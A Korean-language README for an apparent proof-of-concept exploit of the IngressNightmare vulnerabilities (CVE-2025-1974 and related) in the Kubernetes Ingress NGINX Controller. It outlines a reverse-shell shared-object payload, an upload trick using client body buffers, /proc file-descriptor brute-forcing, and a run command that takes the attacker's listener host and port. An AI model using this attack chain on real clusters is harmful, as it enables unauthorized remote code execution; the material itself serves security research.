
Ingress RCE용 PoC
이 프로젝트는 Kubernetes용 Ingress NGINX Controller의 심각한 인증되지 않은 원격 코드 실행(RCE) 취약점을 대상으로 하는 익스플로잇을 제공하며, 이를 통칭하여 IngressNightmare라고 합니다.
원본 연구에서 Wiz 팀은 PoC나 작동 가능한 익스플로잇을 제공하지 않았기 때문에, 우리는 자체적으로 제작하여 커뮤니티와 공유하기로 결정했습니다.
Ingress NGINX Controller는 Kubernetes 환경에서 널리 사용되는 구성 요소로, 클러스터 내 서비스에 대한 외부 접근을 관리합니다. 최근 취약점(CVE-2025-1097, CVE-2025-1098, CVE-2025-24514, CVE-2025-1974)은 심각한 보안 위험을 부각시켰습니다.
익스플로잇은 다음 주요 단계를 따릅니다:
공유 객체 생성 (주입된 ssl_engine 속성에 사용됨):
리버스 셸 페이로드를 포함하는 .so 라이브러리(evil_engine.so)를 컴파일합니다.
공유 객체 업로드:
컴파일된 공유 객체를 요청 처리(client body buffers)를 활용하여 ingress 파드로 전송합니다. 여기서 핵심은 연결을 유지하기 위해 서버에 다른 Content-Length를 보내는 것입니다.
fd 브루트포스: 업로드된 객체를 참조하는 올바른 디스크립터를 식별하기 위해 프로세스 ID와 파일 디스크립터(/proc/{pid}/fd/{fd})를 반복하며 탐색합니다.
사용법
사전 요구 사항:
익스플로잇 실행:
pip3 install -r requirements.txt
python3 exploit.py <ingress_url> <admission_webhook_url> [attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port)
예: python3 poc.py http://192.168.0.154 https://rke2-ingress-nginx-controller-admission.kube-system 192.168.1.63:443
때때로 admission webhook은 다른 네임스페이스에 있습니다. 이 경우에는 kube-system, default, 또는 ingress-nginx와 같은 네임스페이스를 끝에 지정해야 합니다.
<ingress_url>: 대상 Ingress URL(공개)<admission_webhook_url>: Admission webhook URL(내부 웹훅)[attacker_host:port](https://github.com/zwxxb/cve-2025-1974/blob/HEAD/attacker_host:port): 리버스 셸용 호스트 및 포트면책 조항
이 익스플로잇은 교육 및 연구 목적으로만 제공됩니다. 명시적 허가 없이 대상을 상대로 이 도구를 사용하는 것은 금지됩니다. Hakai Security와 QuimeraX는 이 도구의 오용에 대해 어떠한 책임도 지지 않습니다.